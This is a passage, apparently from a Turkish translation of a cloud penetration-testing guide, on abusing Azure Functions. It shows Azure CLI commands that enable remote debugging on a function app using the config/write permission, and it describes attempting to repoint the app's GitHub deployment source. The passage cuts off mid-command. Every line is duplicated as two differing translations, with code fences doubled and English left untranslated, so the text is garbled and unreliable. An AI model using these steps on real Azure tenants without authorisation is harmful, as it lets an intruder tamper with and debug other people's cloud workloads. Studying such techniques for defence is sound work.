### Uzaktan Hata Ayıklama ### Uzaktan Hata Ayıklama
Çalışan bir Azure fonksiyonunu hata ayıklamak için bağlanmak da mümkündür, [**belgelerde açıklandığı gibi**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Ancak, varsayılan olarak Azure, geliştiricinin savunmasız yapılandırmalar bırakmaması için bu seçeneği 2 gün içinde kapatacaktır. Çalışan bir Azure Function'a bağlanıp hata ayıklamak da mümkündür, [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Ancak varsayılan olarak, geliştiricinin unutması durumunda savunmasız yapılandırmalarıık bırakmamak için Azure bu seçeneği 2 gün içinde kapalı duruma getirecektir.
Bir Fonksiyonun hata ayıklamanın etkin olup olmadığını kontrol etmek mümkündür: Bir Function'un hata ayıklamanın etkin olup olmadığını şu komutla kontrol etmek mümkündür:
```bash ```bash
az functionapp show --name <app-name> --resource-group <res-group> az functionapp show --name <app-name> --resource-group <res-group>
``` ```
`Microsoft.Web/sites/config/write` iznine sahip olmak, bir işlevi hata ayıklama moduna almak da mümkündür (aşağıdaki komut ayrıca `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` ve `Microsoft.Web/sites/Read` izinlerini de gerektirir). `Microsoft.Web/sites/config/write` iznine sahip olmak, bir function'ı hata ayıklama moduna geçirmek için de mümkündür (aşağıdaki komut ayrıca `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` ve `Microsoft.Web/sites/Read` izinlerini de gerektirir).
```bash ```bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group> az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
``` ```
### Github deposunu değiştirme ### Github repo'yu değiştir
Github deposunu değiştirmek için aşağıdaki komutları çalıştırdım ama değişse bile, **yeni kod yüklenmedi** (muhtemelen Github Action'ın kodu güncellemesini beklediği için).\ Dağıtımın gerçekleştiği Github repo'yu aşağıdaki komutları çalıştırarak değiştirmeyi denedim fakat değişse bile **yeni kod yüklenmedi** (muhtemelen kodu güncellemesi için Github Action'ı beklediği için).\
Ayrıca, **yönetilen kimlik federasyon kimlik bilgisi güncellenmedi** ve yeni depoya izin vermedi, bu yüzden bu pek faydalı görünmüyor. Ayrıca, **managed identity federated credential wasn't updated**, yeni repository'ye izin vermediği için bunun çok kullanışlı olmadığı görünüyor.
```bash ```bash
# Remove current # Remove current
az functionapp deployment source delete \ az functionapp deployment source delete \